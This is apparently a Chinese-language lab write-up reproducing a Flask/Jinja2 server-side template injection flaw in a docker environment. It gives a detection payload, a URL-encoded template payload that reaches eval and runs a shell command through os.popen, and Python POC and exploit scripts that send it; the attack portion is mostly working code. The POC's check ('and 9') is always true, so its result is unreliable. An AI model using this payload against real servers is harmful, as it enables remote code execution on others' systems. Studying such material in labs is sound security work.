天天看點

Flask(Jinja2) 服務端模闆注入漏洞

Flask是一個web架構,提供工具、庫、技術來允許使用者建立一個web應用程式,不依賴外部架構。

Jinja2是python中被廣泛應用的子產品引擎,由python實作的子產品語言,Flask提供render_template函數封裝了該子產品引擎。

漏洞複現:

手工複現:

開啟環境:docker-compose up -d

通路:http://192.168.0.27:8000

Flask(Jinja2) 服務端模闆注入漏洞

payload:url/?name={{3*3}}

出現 9 即代表SSTI漏洞存在

Flask(Jinja2) 服務端模闆注入漏洞

漏洞利用:

url/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
           

得到結果:

Flask(Jinja2) 服務端模闆注入漏洞

複現完成關閉環境:dockers-compose down -v

二、腳本複現

#POC
import requests
url = 'http://192.168.0.27:8000'
payload = '/?name={{3*3}}'
url = url + payload
re  = requests.get(url)
if re.status_code == 200 and 9 :
	print(re.text)
else:
	print("不存在")
           

 結果:

Flask(Jinja2) 服務端模闆注入漏洞

 exp腳本:

#exp:
import requests
url = 'http://192.168.0.27:8000'
payload = '/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
url = url + payload
re  = requests.get(url)
if re.status_code == 200:
	print(re.text)
else:
	print("error")
           
Flask(Jinja2) 服務端模闆注入漏洞